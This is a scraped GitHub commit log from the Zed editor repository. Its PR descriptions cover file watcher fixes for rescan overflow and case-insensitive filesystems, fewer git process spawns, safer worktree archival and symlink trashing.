([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Closes #60216
---
Release Notes:
- Fixed a crash caused by spawning one thread per file when trashing a
large number of untracked files from the Git Panel.
---------
Co-authored-by: dino <dinojoaocosta@gmail.com>
|
||
|
|
f8e1ab7f3c
|
fs: Coalesce queued rescans after watcher overflow (#60098)
After a filesystem watcher loses sync (e.g. a `git pull` that changes many files overflows the backend's event queue), the backend can enqueue many `Rescan` markers in quick succession. The dispatch thread processed each one separately, and each rescan invokes every registration for that watcher mode, so a single burst could kick off several full worktree scans at once — leading to sustained CPU and an unresponsive project panel. This adds `dispatch_batch`, which handles the first event and drains the events already waiting in the channel, forwarding at most one `Rescan` per `WatcherMode` per drained batch while letting ordinary filesystem events and errors pass through untouched. A later watcher overflow can still trigger another recovery scan. Reported with a reproduction and patch in #59610. Release Notes: - Batch file watcher rescan events to improve Zed's responsiveness under heavy FS usage |
||
|
|
356e396517
|
git_ui: Search commits by hash (#59132)
## Summary - Allows Git Graph search to match abbreviated or full commit hashes when the query looks like a SHA. - Keeps the existing message search behavior for non-hash queries. - Mirrors the hash search heuristic in the fake git backend and adds GPUI coverage for hash and message search. <img width="1912" height="1241" alt="image" src="https://github.com/user-attachments/assets/903b438e-baa8-4447-95dc-faf321bca6a5" /> ## Test Plan - `cargo fmt --check --package git_ui` - `cargo -q test -p git_ui test_git_graph_search_matches_commit_hash_prefix -- --nocapture` - `./script/clippy -p git_ui` ## Suggested .rules additions - N/A Release Notes: - Improved Git Graph search to find commits by abbreviated or full hash. |
||
|
|
9f56a4df51
|
Fix CI error from linux case insensitive path (#59624)
Some checks are pending
Congratsbot / check-author (push) Waiting to run
Congratsbot / congrats (push) Blocked by required conditions
deploy_nightly_docs / deploy_docs (push) Waiting to run
run_tests / orchestrate (push) Waiting to run
run_tests / check_style (push) Waiting to run
run_tests / clippy_windows (push) Blocked by required conditions
run_tests / clippy_linux (push) Blocked by required conditions
run_tests / clippy_mac (push) Blocked by required conditions
run_tests / clippy_mac_x86_64 (push) Blocked by required conditions
run_tests / run_tests_windows (push) Blocked by required conditions
run_tests / run_tests_linux (push) Blocked by required conditions
run_tests / run_tests_mac (push) Blocked by required conditions
run_tests / miri_scheduler (push) Blocked by required conditions
run_tests / doctests (push) Blocked by required conditions
run_tests / check_workspace_binaries (push) Blocked by required conditions
run_tests / build_visual_tests_binary (push) Blocked by required conditions
run_tests / check_wasm (push) Blocked by required conditions
run_tests / check_dependencies (push) Blocked by required conditions
run_tests / check_docs (push) Blocked by required conditions
run_tests / check_licenses (push) Blocked by required conditions
run_tests / check_scripts (push) Blocked by required conditions
run_tests / check_postgres_and_protobuf_migrations (push) Blocked by required conditions
run_tests / extension_tests (push) Blocked by required conditions
run_tests / tests_pass (push) Blocked by required conditions
CI failed to build Linux because of my recent FS watcher fix, so I commented out the libc code and defaulted to false. In a follow up PR I will fix this ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - N/A |
||
|
|
6febe1c45a
|
Allow file watchers to handle case insensitive file systems (#59579)
## Goal This PR fixes a bug in our file system watcher. Because it matched paths case sensitively, it didn't account for file systems that are case insensitive by default (macOS, Windows, etc.). As a result, when multiple subscribers watched the same path using different casing, Zed could fail to emit file system events to some of them. ### Reproduction I reproduced this with the `tsgo` LSP, which lowercases the file path of the visible worktree root it runs in. Zed subscribes to worktree roots to receive FS updates — e.g. external edits to a buffer, or git state changes — but it doesn't normalize the path when subscribing, so the two casings never matched. ### Fix Fixing this took longer than expected, because I spent a while deciding on an approach. I considered three: - **Follow VS Code's lead:** always treat macOS/Windows as case insensitive and Linux as case sensitive. Simple, but it would leave a couple of bugs. - **Real case the path at registration:** walk each component and use syscalls to rewrite it to match what the file system shows the user (e.g. Finder shows `/Project/some`, so a request to watch `/project/some` becomes `/Project/some`). This had rough edge cases with symlinks that I didn't want to deal with. - **Detect via syscalls whether a path is on a case-insensitive (normalizing) file system and match accordingly** — what I went with. The one wrinkle is that Windows can mark individual directories case-sensitive… because Windows. I also added integration tests to prevent future regressions. Note: Windows currently defaults to case insensitive; implementing the actual case sensitivity check for it is left to a follow up PR. Helps #38109 #35861 #52376 and maybe #41195 ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Fixed missed file system events on case-insensitive filesystems that could cause stale git state and other sync issues --------- Co-authored-by: Cole Miller <cole@zed.dev> |
||
|
|
a0e37126e9
|
fs: Dispatch watcher events from the reader thread to avoid thrashing (#59537)
On large worktrees, normal fs activity (like a `git checkout`) could send the file watcher in to a rescan thrash: we processed each event on the thread that reads events from the OS, and each event was checked against every watched directory. On big projects this was too slow to keep up, so the OS event buffer overflowed and dropped events, and a dropped event forces a full rescan - creating this unbounded loop. This PR moves dispatch onto a dedicated `fs-watcher-dispatch` thread. The reading thread now only drops `Access` events and forwards the rest, so it should stay fast enough to keep draining the kernel queue and bursty fs behaviour won't cause an overflow. In addition, we now index registrations by watched path. Instead of waking up every watched folder whenever any file changes anywhere, we now only wake up the folders that actually contain the changed file. Closes FR-31. Related to #57042. Release Notes: - Improved file watcher performance on large worktrees |
||
|
|
29622911de
|
Prevent archival of manually-created worktrees (#58275)
This fixes archive cleanup for agent threads so Zed only removes worktrees it explicitly created, rather than treating every linked worktree under the configured managed directory as safe to delete. When Zed creates a worktree, it now records it in the local database along with the creation time of the worktree's git metadata directory (`.git/worktrees/<name>/`). Archive planning requires that record, and right before deleting anything, Zed re-stats the directory and compares creation times: if the worktree was removed and recreated outside Zed (or the time can't be read at all), deletion is skipped and the stale record is dropped. Every failure mode fails safe by leaving the directory untouched. For remote (SSH) projects, the stat runs on the remote host via a new `GitWorktreeCreatedAt` request. Worktrees created by a different Zed install (another release channel, or another machine connecting to the same host) have no record in the local database and are therefore never auto-archived, which is the intended conservative behavior. Closes https://github.com/zed-industries/zed/issues/57155 Closes AI-352 Release Notes: - Fixed archiving an agent thread incorrectly deleting manually-created git worktrees. |
||
|
|
7726682898
|
git: Optimize git HEAD state resolution (#59044)
Currently zed runs `git rev-parse HEAD` and `git show` sequentially to get the git `HEAD` state in `compute_snapshot`. `git show` already natively resolves the `HEAD` commit so we can retrieve all info in a single process spawn which speeds things up and removes one git background process. Followup on #59042 in the hope to improve performance of working with large git repos over SSH. Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Improved performance of git HEAD state resolution --------- Co-authored-by: Lukas Wirth <lukas@zed.dev> |
||
|
|
e770c94187
|
git: Reduce number of spawned git processes when retrieving remote URLs (#59053)
Currently Zed fetches remote URLs by sequentially calling `git remote get-url origin` and `git remote get-url upstream`. This PR introduces a new `remote_urls` function which uses `git remote -v` to retrieve all remote fetch URLs with a single git process. Followup on #59042 and #59042 in the hope to reduce the amount of spawned git processes. Probably best to review both commits separately. Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Improved performance of listing git remotes |
||
|
|
f1ad1e7fd5
|
Update notify to v9.0.0-rc.4 (#58944)
Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes FR-67 Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
0c660d0cb4
|
worktree: Don't eagerly remove watchers (#58692)
Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #ISSUE Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
381f2f4977
|
fs: Avoid resolving symlinks when trashing (#58339)
Use `std::path::absolute` instead of `RealFs::canonicalize` to make the path absolute in `RealFs::trash` as `canonicalize` also resolves symlinks, so trashing a symlink moved its target to the trash and left the link dangling. Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - Not applicable as we don't have a good infrastructure for testing `RealFs` changes without hitting the machine's actual filesystem and testing this on `FakeFs` implementation wouldn't prevent a future regression, unfortunately. - [x] Performance impact has been considered and is acceptable Closes #54900 Release Notes: - Fixed trashing of symlinks in project panel to actually trash the link and not its target. |
||
|
|
39f7849a0f
|
Log worst hanging tasks and actions (#57835)
We have a lot of long blocking tasks on both the foreground and background, this is a start of getting some insight into those. We will now log tasks running longer then 100ms on the foreground or background. Hanging actions will also be logged including their name. We simultaneously collect statistics on task and action performance and send those to telemetry. This includes quantiles and averages for each hanging task. Finally this adds tree dev actions: - hang action - hang foreground - hang background These cause a hang to check if hang reporting is working and in the future telemetry. Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #ISSUE Release Notes: - Added logging and telemetry of tasks and actions with performance issues |
||
|
|
e07d9a438b
|
git: Further extract gitlib2 dependencies (#58280)
Extraction done from #53453 I removed the default Oid implementation we had and added support back for SHA264 back as well. I also removed the hex dependency and just added some of those functions we needed in house so we can avoid building yet another dependency Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - N/A |
||
|
|
799622daa9
|
ep: Jump example capture (#58236)
Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #ISSUE Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
32d0737318
|
Add cooldown when file watch limit is reached (#57720)
Stop trying to add new watches for 5 seconds after receiving the "OS file watch limit reached" error. This was flooding the logs and many pointless syscalls. Related to #57422, #57042, FR-18 Release Notes: - Improved file watcher behavior when the OS file watch limit is reached. |
||
|
|
4129fc87d8
|
Fix the filtering of index.lock + COMMIT_MESSAGE FS events to work in linked worktrees (#57763)
Some checks are pending
Congratsbot / check-author (push) Waiting to run
Congratsbot / congrats (push) Blocked by required conditions
deploy_nightly_docs / deploy_docs (push) Waiting to run
run_tests / extension_tests (push) Blocked by required conditions
run_tests / clippy_linux (push) Blocked by required conditions
run_tests / orchestrate (push) Waiting to run
run_tests / check_style (push) Waiting to run
run_tests / clippy_mac_x86_64 (push) Blocked by required conditions
run_tests / run_tests_mac (push) Blocked by required conditions
run_tests / miri_scheduler (push) Blocked by required conditions
run_tests / doctests (push) Blocked by required conditions
run_tests / check_dependencies (push) Blocked by required conditions
run_tests / check_licenses (push) Blocked by required conditions
run_tests / check_scripts (push) Blocked by required conditions
run_tests / check_postgres_and_protobuf_migrations (push) Blocked by required conditions
run_tests / tests_pass (push) Blocked by required conditions
run_tests / clippy_windows (push) Blocked by required conditions
run_tests / clippy_mac (push) Blocked by required conditions
run_tests / run_tests_windows (push) Blocked by required conditions
run_tests / run_tests_linux (push) Blocked by required conditions
run_tests / check_workspace_binaries (push) Blocked by required conditions
run_tests / build_visual_tests_binary (push) Blocked by required conditions
run_tests / check_wasm (push) Blocked by required conditions
run_tests / check_docs (push) Blocked by required conditions
Zed reloads a lot of data about a git repository any time any file changes inside of the `.git` directory, with the exception of a few known paths that we know do not warrant a reload, such as `index.lock` and `COMMIT_MESSAGE`. Previously, we ignored FS events for those files, but we used a specific path that only worked for the main worktree. This caused a lot of unnecessary reloads when using linked worktrees. Now we ignore those files in a general way, by their filename, so that the optimization applies to linked worktrees as well. @cole-miller Noticed this bug. Release Notes: - Fixed unnecessary reloading of Git state that could occur when editing in linked worktrees. |
||
|
|
6df9ae9f8f
|
Log filesystem watcher lost sync only once per event (#57675)
On Linux, we create a filesystem watcher recursively for every subdir. When we get "fs watcher lost sync" events, we used to log it for every child dir, which could results in thousands messages. This becomes problematic when we get into a state where we get those events repeatedly (this larger issue is to be addressed separately). Now we log one message per parent. Partially addresses #57422, #57042, FR-18 Release Notes: - N/A |
||
|
|
bcfbf669bd
|
git: Degrade gracefully when refreshing git state (#57292)
This PR changes the git store's `compute_snapshot`, which runs to update state that depends on the contents of `.git`, to degrade gracefully when fetching individual pieces of state fails. For example, when fetching the list of branches fails, instead of returning early from the function (leaving the previous git state snapshot in place with stale state), we continue with an empty list of branches. This prevents failures of individual git commands from making the entire git UI get stuck indefinitely. Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #ISSUE Release Notes: - Fixed an issue where failing to fetch branches using the git CLI would prevent other git-related state from being updated. |
||
|
|
786eb24521
|
git: Recover branch refs when metadata lookup fails (#57285)
Some checks are pending
Congratsbot / check-author (push) Waiting to run
Congratsbot / congrats (push) Blocked by required conditions
deploy_nightly_docs / deploy_docs (push) Waiting to run
run_tests / orchestrate (push) Waiting to run
run_tests / check_style (push) Waiting to run
run_tests / clippy_windows (push) Blocked by required conditions
run_tests / clippy_linux (push) Blocked by required conditions
run_tests / clippy_mac (push) Blocked by required conditions
run_tests / clippy_mac_x86_64 (push) Blocked by required conditions
run_tests / run_tests_windows (push) Blocked by required conditions
run_tests / run_tests_linux (push) Blocked by required conditions
run_tests / run_tests_mac (push) Blocked by required conditions
run_tests / miri_scheduler (push) Blocked by required conditions
run_tests / doctests (push) Blocked by required conditions
run_tests / check_workspace_binaries (push) Blocked by required conditions
run_tests / build_visual_tests_binary (push) Blocked by required conditions
run_tests / check_wasm (push) Blocked by required conditions
run_tests / check_dependencies (push) Blocked by required conditions
run_tests / check_docs (push) Blocked by required conditions
run_tests / check_licenses (push) Blocked by required conditions
run_tests / check_scripts (push) Blocked by required conditions
run_tests / check_postgres_and_protobuf_migrations (push) Blocked by required conditions
run_tests / extension_tests (push) Blocked by required conditions
run_tests / tests_pass (push) Blocked by required conditions
cc @cole-miller Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Fixed branch enumeration when a broken Git ref prevents commit metadata from being read. --------- Co-authored-by: Cole Miller <cole@zed.dev> |
||
|
|
ad042e5c9d
|
fs: Don't opt into polling for virtiofs based file systems (#57184)
Technically we don't know if a `virtiofs` file system supports `inotify` or not, but it seems like it's mostly used inside virtual machines provided by: - OrbStack (`inotify` works) - Docker Desktop (`inotify` works) - Lima (`inotify` works with flag) - Colima (`inotify` works with flag) - QEMU + virtiofs setup (`inotify` doesn't work without extra setup) Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #57103 Closes FR-9 Release Notes: - Fixed an issue where file system watching would default to the polling backend inside of `OrbStack` VMs on MacOS |
||
|
|
a0aa3e842f
|
fs: Poll until watched path is created instead of watching parent (#57152)
Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #ISSUE Part of FR-9. Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
57a64fc824
|
Add some more logging to diagnose lost FS events and stale git state (#57173)
Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - N/A --------- Co-authored-by: Ben Kunkle <ben@zed.dev> |
||
|
|
f511076cdb
|
fs: Fix unwatching causing os unwatch dispatch for recursively watched directories (#56796)
Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes https://github.com/zed-industries/zed/issues/55746 Release Notes: - Fixed an issue where file system events or language server events that resulted in Zed unwatching many paths would result in high CPU usage |
||
|
|
64f624773f
|
git_ui: Add force delete for worktrees (#56519)
Follows similar approach as https://github.com/zed-industries/zed/pull/55927 Adds a force-delete path to the worktree picker. Normal delete now prompts when Git reports modified or untracked files, and Alt/Option-delete can force delete directly. Release Notes: - Added support for force deleting worktrees that contain modified or untracked files. |